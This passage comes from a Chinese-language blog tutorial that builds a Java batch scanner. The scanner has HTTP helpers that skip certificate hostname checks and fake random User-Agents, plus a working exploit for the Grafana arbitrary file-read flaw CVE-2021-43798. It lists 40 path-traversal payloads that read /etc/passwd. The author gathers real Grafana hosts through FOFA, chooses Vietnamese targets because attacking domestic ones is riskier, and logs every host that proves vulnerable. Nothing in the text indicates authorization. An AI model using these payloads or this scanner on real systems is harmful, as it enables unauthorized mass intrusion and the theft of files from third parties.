                while((line = br.readLine()) != null){
                    results.append(line + "\n");
                }

                if(inputStreamReader != null)
                    inputStreamReader.close();
                if (br != null)
                    br.close();
                responseMap.put("code", code);
                responseMap.put("content", results.toString());
                responseMap.put("responseProperty", responseProperty);
            }
            connection.disconnect();
        }catch (Exception e){
            e.printStackTrace();
        }
        return responseMap;
    }

POST请求带参数

和get差不多,就是增加了几行代码

 // post请求带参数
    public static Map<String, Object> PostBodyParam(String uri, Map<String, String> requestProperty, String param){
        boolean isHTTPS = true;
        // 没有协议头的情况
        if(uri.indexOf("https")==-1&&uri.indexOf("http")==-1){
            HttpsURLConnection connection = null;
            try {
                URL url = new URL("https://"+uri);
                connection = (HttpsURLConnection)url.openConnection();
                // 忽略证书安全性
                connection.setHostnameVerifier(Do_NOT_VERIFY);
                connection.setConnectTimeout(2000);
                connection.setReadTimeout(2000);
                // 建立连接
                connection.connect();
                // 协议用错了,不是 https,catch捕获异常
            }catch (Exception e){
                isHTTPS = false;
            }finally {
                // 根据isHTTPS添加协议头
                if(isHTTPS){
                    uri = "https://"+uri;
                }else {
                    uri = "http://" + uri;
                }
                if(connection!=null){
                    connection.disconnect();
                }
            }
        }
        // 返回请求头
        Map<String,Object> responseMap = new HashMap<>();
        StringBuilder results  = new StringBuilder();
        HttpURLConnection connection;

        try {
            URL url = new URL(uri);
            // 区分https 和 http 协议的处理
            // 这里的转小写是因为如果拿到的uri本身就带有协议头的情况,有时候协议头可能存在大小写,为了方便java去识别,这里用toLowerCase()去转小写来判断http还是https
            if(url.getProtocol().toLowerCase().equals("https")){
                // 用https的对象去处理请求
                HttpsURLConnection https = (HttpsURLConnection) url.openConnection();
                // 忽略证书安全性问题
                https.setHostnameVerifier(Do_NOT_VERIFY);
                connection = https;
            }else{
                // 用http的对象去处理请求
                connection = (HttpURLConnection) url.openConnection();
            }
            // 判断User-Agent和Content-Type两种默认的请求头,如果没有则使用默认请求头
            if(requestProperty.get("User-Agent") == null)
                // 添加随机UA
                connection.setRequestProperty("User-Agent", getRandomUA());
            if(requestProperty.get("Content-Type") == null)
                // get请求可以以表单的方式提交请求
                connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8");
            // 把用户自定义的请求头添加到连接
            // 通过map对象的entrySet遍历Map
            for (Map.Entry<String, String> stringStringEntry : requestProperty.entrySet()) {
                connection.setRequestProperty(stringStringEntry.getKey(), stringStringEntry.getValue());
            }
            // 设置超时时间
            connection.setConnectTimeout(2000);
            connection.setReadTimeout(2000);
            // 设置为true可以获取响应包
            connection.setDoOutput(true);
            // 设置请求方式
            connection.setRequestMethod("POST");

            // post传参
            // 获取URLConnection对象对应的输出流
            PrintWriter pw = new PrintWriter(new BufferedOutputStream(connection.getOutputStream()));
            // 发送请求参数
            pw.write(param);
            // flush输出流的缓冲
            pw.flush();
            //关闭流
            pw.close();

            // 建立连接
            connection.connect();

            // 获取状态码
            String code = connection.getResponseCode() + "";
            // 获取响应头
            Map<String, List<String>> responseProperty = connection.getHeaderFields();

            InputStreamReader inputStreamReader = null;
            if (code.equals("200")){
                inputStreamReader = new InputStreamReader(connection.getInputStream(), "utf-8");
            }else{
                // 一些poc验证的状态码不为200,获取错误信息
                inputStreamReader = new InputStreamReader(connection.getErrorStream(), "utf-8");
            }

            // 如果流不为空
            if (inputStreamReader != null){
                BufferedReader br = new BufferedReader(inputStreamReader);
                // 临时变量,存储响应正文
                String line = null;
                // 如果读入的内容不为空
                while((line = br.readLine()) != null){
                    results.append(line + "\n");
                }

                if(inputStreamReader != null)
                    inputStreamReader.close();
                if (br != null)
                    br.close();
                responseMap.put("code", code);
                responseMap.put("content", results.toString());
                responseMap.put("responseProperty", responseProperty);
            }
            connection.disconnect();
        }catch (Exception e){
            e.printStackTrace();
        }
        return responseMap;
    }

关键代码

 // 设置请求方式
 connection.setRequestMethod("POST");
// post传参
// 获取URLConnection对象对应的输出流,即请求正文
PrintWriter pw = new PrintWriter(new BufferedOutputStream(connection.getOutputStream()));
// 发送请求参数
pw.write(param);
// flush输出流的缓冲
pw.flush();
//关闭流
pw.close();

POST json请求

和post请求一样,就是把Content-Type改为application/json;charset=UTF-8

// post json请求
    public static Map<String,Object> PostJsonParam(String uri, Map<String,String> requestProperty,String param){
        boolean isHTTPS = true;
        // 没有协议头的情况
        if(uri.indexOf("https")==-1&&uri.indexOf("http")==-1){
            HttpsURLConnection connection = null;
            try {
                URL url = new URL("https://"+uri);
                connection = (HttpsURLConnection)url.openConnection();
                // 忽略证书安全性
                connection.setHostnameVerifier(Do_NOT_VERIFY);
                connection.setConnectTimeout(2000);
                connection.setReadTimeout(2000);
                // 建立连接
                connection.connect();
                // 协议用错了,不是 https,catch捕获异常
            }catch (Exception e){
                isHTTPS = false;
            }finally {
                // 根据isHTTPS添加协议头
                if(isHTTPS){
                    uri = "https://"+uri;
                }else {
                    uri = "http://" + uri;
                }
                if(connection!=null){
                    connection.disconnect();
                }
            }
        }
        // 返回请求头
        Map<String,Object> responseMap = new HashMap<>();
        StringBuilder results  = new StringBuilder();
        HttpURLConnection connection;

        try {
            URL url = new URL(uri);
            // 区分https 和 http 协议的处理
            // 这里的转小写是因为如果拿到的uri本身就带有协议头的情况,有时候协议头可能存在大小写,为了方便java去识别,这里用toLowerCase()去转小写来判断http还是https
            if(url.getProtocol().toLowerCase().equals("https")){
                // 用https的对象去处理请求
                HttpsURLConnection https = (HttpsURLConnection) url.openConnection();
                // 忽略证书安全性问题
                https.setHostnameVerifier(Do_NOT_VERIFY);
                connection = https;
            }else{
                // 用http的对象去处理请求
                connection = (HttpURLConnection) url.openConnection();
            }
            // 判断User-Agent和Content-Type两种默认的请求头,如果没有则使用默认请求头
            if(requestProperty.get("User-Agent") == null)
                // 添加随机UA
                connection.setRequestProperty("User-Agent", getRandomUA());
            if(requestProperty.get("Content-Type") == null)
                // get请求可以以表单的方式提交请求
                connection.setRequestProperty("Content-Type", "application/json;charset=UTF-8");
            // 把用户自定义的请求头添加到连接
            // 通过map对象的entrySet遍历Map
            for (Map.Entry<String, String> stringStringEntry : requestProperty.entrySet()) {
                connection.setRequestProperty(stringStringEntry.getKey(), stringStringEntry.getValue());
            }
            // 设置超时时间
            connection.setConnectTimeout(2000);
            connection.setReadTimeout(2000);
            // 设置为true可以获取响应包
            connection.setDoOutput(true);
            // 设置请求方式
            connection.setRequestMethod("POST");

            // post传参
            // 获取URLConnection对象对应的输出流
            PrintWriter pw = new PrintWriter(new BufferedOutputStream(connection.getOutputStream()));
            // 发送请求参数
            pw.write(param);
            // flush输出流的缓冲
            pw.flush();
            //关闭流
            pw.close();

            // 建立连接
            connection.connect();

            // 获取状态码
            String code = connection.getResponseCode() + "";
            // 获取响应头
            Map<String, List<String>> responseProperty = connection.getHeaderFields();

            InputStreamReader inputStreamReader = null;
            if (code.equals("200")){
                inputStreamReader = new InputStreamReader(connection.getInputStream(), "utf-8");
            }else{
                // 一些poc验证的状态码不为200,获取错误信息
                inputStreamReader = new InputStreamReader(connection.getErrorStream(), "utf-8");
            }

            // 如果流不为空
            if (inputStreamReader != null){
                BufferedReader br = new BufferedReader(inputStreamReader);
                // 临时变量,存储响应正文
                String line = null;
                // 如果读入的内容不为空
                while((line = br.readLine()) != null){
                    results.append(line + "\n");
                }

                if(inputStreamReader != null)
                    inputStreamReader.close();
                if (br != null)
                    br.close();
                responseMap.put("code", code);
                responseMap.put("content", results.toString());
                responseMap.put("responseProperty", responseProperty);
            }
            connection.disconnect();
        }catch (Exception e){
            e.printStackTrace();
        }
        return responseMap;
    }

小结

请求框架主要包含4种请求,还有2种dnslog的对接,细节一定要出来好,尽可能的解决可能会出现的问题

本地IO编写

可用于批量poc验证

代码比较少,也比较基础 可以参考博客:java文件流读写操作

项目结构

App.java用来测试代码

image-20220607222144399

读文件

Tools.LocalIOTemplate.java

package Tools;

import java.io.*;
import java.util.ArrayList;
import java.util.List;

public class LocalIOTemplate {
    //读文件
    public static List<String> getLocalText(String filePath) throws IOException {
        // 返回一个数组,存储读取的文件内容(url)
        List<String> result = new ArrayList<>();
        // 创建一个file对象读取文件,参数为文件路径
        File file = new File(filePath);
        //存储读取的内容
        BufferedReader reader = null;
        // 临时字符串
        String tmp = null;
        int line = 1;
        try{
            reader = new BufferedReader(new InputStreamReader(new FileInputStream(file), "utf-8"));
            // 如果读入的内容不为空
            while((tmp = reader.readLine()) != null){
                // 提示正常读取的行号
                System.out.println("Line:" + line + ":" + tmp);
                result.add(tmp);
                line++;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }finally {
            if(reader != null){
                reader.close();
            }
        }
        return result;
    }
}

写文件

package Tools;

import java.io.*;
import java.util.ArrayList;
import java.util.List;

public class LocalIOTemplate {
    //读文件
    public static List<String> getLocalText(String filePath) throws IOException {
        // 返回一个数组,存储读取的文件内容(url)
        List<String> result = new ArrayList<>();
        // 创建一个file对象读取文件,参数为文件路径
        File file = new File(filePath);
        //存储读取的内容
        BufferedReader reader = null;
        // 临时字符串
        String tmp = null;
        int line = 1;
        try{
            reader = new BufferedReader(new InputStreamReader(new FileInputStream(file), "utf-8"));
            // 如果读入的内容不为空
            while((tmp = reader.readLine()) != null){
                // 提示正常读取的行号
                System.out.println("Line:" + line + ":" + tmp);
                result.add(tmp);
                line++;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }finally {
            if(reader != null){
                reader.close();
            }
        }
        return result;
    }

    // 写文件
    public static void writeFile(String path, String content){
        try{
            File writeName = new File(path);
            // 创建文件,防止传入路径的文件不存在
            writeName.createNewFile();
            // 在文件写入内容,第二个参数为true表示不覆盖文件内容
            FileWriter writer = new FileWriter(writeName, true);
            //使用字符缓冲流写入文件
            BufferedWriter out = new BufferedWriter(writer);
            // 写入
            out.write(content + "\n");
            // 清楚缓存
            out.flush();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

演示

App.java

测试读写

import Tools.LocalIOTemplate;
import Tools.RestTemplate;

import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Random;

import static Tools.RestTemplate.ua;

public class App {
    public static void main(String[] args) throws InterruptedException, IOException {
        for (String s : LocalIOTemplate.getLocalText("C:\\Users\\t\\Desktop\\test.txt")) {
            System.out.println(s);
        }

    }


}

image-20220607222200392

image-20220607222210571

POC编写

终于进入正题了,这里就演示一个poc怎么写

就拿Grafana的任意⽂件读取漏洞(CVE-2021-43798)来写吧

Grafana是⼀个跨平台、开源的数据可视化⽹络应⽤程序平台。⽤户配置连接的数据源之后,Grafana可 以在⽹络浏览器⾥显示数据图表和警告

payload

/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitordatasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/statetimeline/../../../../../../../../../../../etc/passwd
/public/plugins/statushistory/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd

在fofa搜一下app="Grafana" image-20220607222225521

发现有十几万个目标.这里就拿越南的来试试手了(挖国内的风险比较大)

用fofa_viewer1.1.6(我用1.1.7有bug导出有问题)查询app="Grafana" && country="VN",直接导出数据(刚开始试了法国得发现1个多小时跑不出一个)

image-20220607222236788

项目地址:https://github.com/wgpsec/fofa_viewer 没有fofa会员的话建议去咸鱼买一个 月租15

打开生成的xlsx,点击左下角的url,然后把url复制粘贴到txt里

image-20220607222251250

package Poc;

import Tools.LocalIOTemplate;
import Tools.RestTemplate;

import java.io.IOException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/*
Grafana的任意⽂件读取漏洞(CVE-2021-43798)

Grafana是⼀个跨平台、开源的数据可视化⽹络应⽤程序平台。⽤户配置连接的数据源之后,Grafana可
以在⽹络浏览器⾥显示数据图表和警告。

影响版本:
Grafana 8.0.0 - 8.3.0
安全版本:
Grafana 8.3.1, 8.2.7, 8.1.8, 8.0.7
 */
public class Grafana {
    public static String[] payloads = new String[]{"/public/plugins/alertlist/../../../../../../../../../../../etc/passwd", "/public/plugins/annolist/../../../../../../../../../../../etc/passwd", "/public/plugins/grafana-azure-monitordatasource/../../../../../../../../../../../etc/passwd", "/public/plugins/barchart/../../../../../../../../../../../etc/passwd", "/public/plugins/bargauge/../../../../../../../../../../../etc/passwd", "/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd", "/public/plugins/dashlist/../../../../../../../../../../../etc/passwd", "/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd", "/public/plugins/gauge/../../../../../../../../../../../etc/passwd", "/public/plugins/geomap/../../../../../../../../../../../etc/passwd", "/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd", "/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd", "/public/plugins/graph/../../../../../../../../../../../etc/passwd", "/public/plugins/graphite/../../../../../../../../../../../etc/passwd", "/public/plugins/heatmap/../../../../../../../../../../../etc/passwd", "/public/plugins/histogram/../../../../../../../../../../../etc/passwd", "/public/plugins/influxdb/../../../../../../../../../../../etc/passwd", "/public/plugins/jaeger/../../../../../../../../../../../etc/passwd", "/public/plugins/logs/../../../../../../../../../../../etc/passwd", "/public/plugins/loki/../../../../../../../../../../../etc/passwd", "/public/plugins/mssql/../../../../../../../../../../../etc/passwd", "/public/plugins/mysql/../../../../../../../../../../../etc/passwd", "/public/plugins/news/../../../../../../../../../../../etc/passwd", "/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd", "/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd", "/public/plugins/piechart/../../../../../../../../../../../etc/passwd", "/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd", "/public/plugins/postgres/../../../../../../../../../../../etc/passwd", "/public/plugins/prometheus/../../../../../../../../../../../etc/passwd", "/public/plugins/stat/../../../../../../../../../../../etc/passwd", "/public/plugins/statetimeline/../../../../../../../../../../../etc/passwd", "/public/plugins/statushistory/../../../../../../../../../../../etc/passwd", "/public/plugins/table/../../../../../../../../../../../etc/passwd", "/public/plugins/table-old/../../../../../../../../../../../etc/passwd", "/public/plugins/tempo/../../../../../../../../../../../etc/passwd", "/public/plugins/testdata/../../../../../../../../../../../etc/passwd", "/public/plugins/text/../../../../../../../../../../../etc/passwd", "/public/plugins/timeseries/../../../../../../../../../../../etc/passwd", "/public/plugins/welcome/../../../../../../../../../../../etc/passwd", "/public/plugins/zipkin/../../../../../../../../../../../etc/passwd"};

    public static void poc() throws IOException {
        // 读取url
        for (String s : LocalIOTemplate.getLocalText("C:\\Users\\t\\Desktop\\test.txt")) {
//             因为任意⽂件读取漏洞用的是get请求,直接调用RestTemplate.GetBody即可
            for (String payload : payloads) {
                // 发起get请求
                Map<String, Object> stringObjectMap = RestTemplate.GetBody(s + payload, new HashMap<>());

                Object code = stringObjectMap.get("code");
                Object content = stringObjectMap.get("content");
                if(code != null && content != null && code.equals("200") && content.toString().indexOf("root:x:0:0") != -1){
                    System.out.println(s+"存在漏洞");
                    LocalIOTemplate.writeFile("C:\\Users\\t\\Desktop\\url.txt",s);
                    System.out.println(content.toString());
                    break;
                }else {
                    System.out.println(s+payload+"不存在漏洞");
                }
            }
        }
    }
}

验证漏洞成功会把结果打印,并把url写入文件

image-20220607222304252

image-20220607222316564

总结

批量验证漏洞的时候出现了一个问题,检测到有1200多个url,实际上导出只有200个,后面换了一个版本解决了. 然后之后找poc的话直接在idea全局搜索关键字就好了 Ctrl+Shift+F 记得在poc里面写上注释就好 后续有空的话会写个gui界面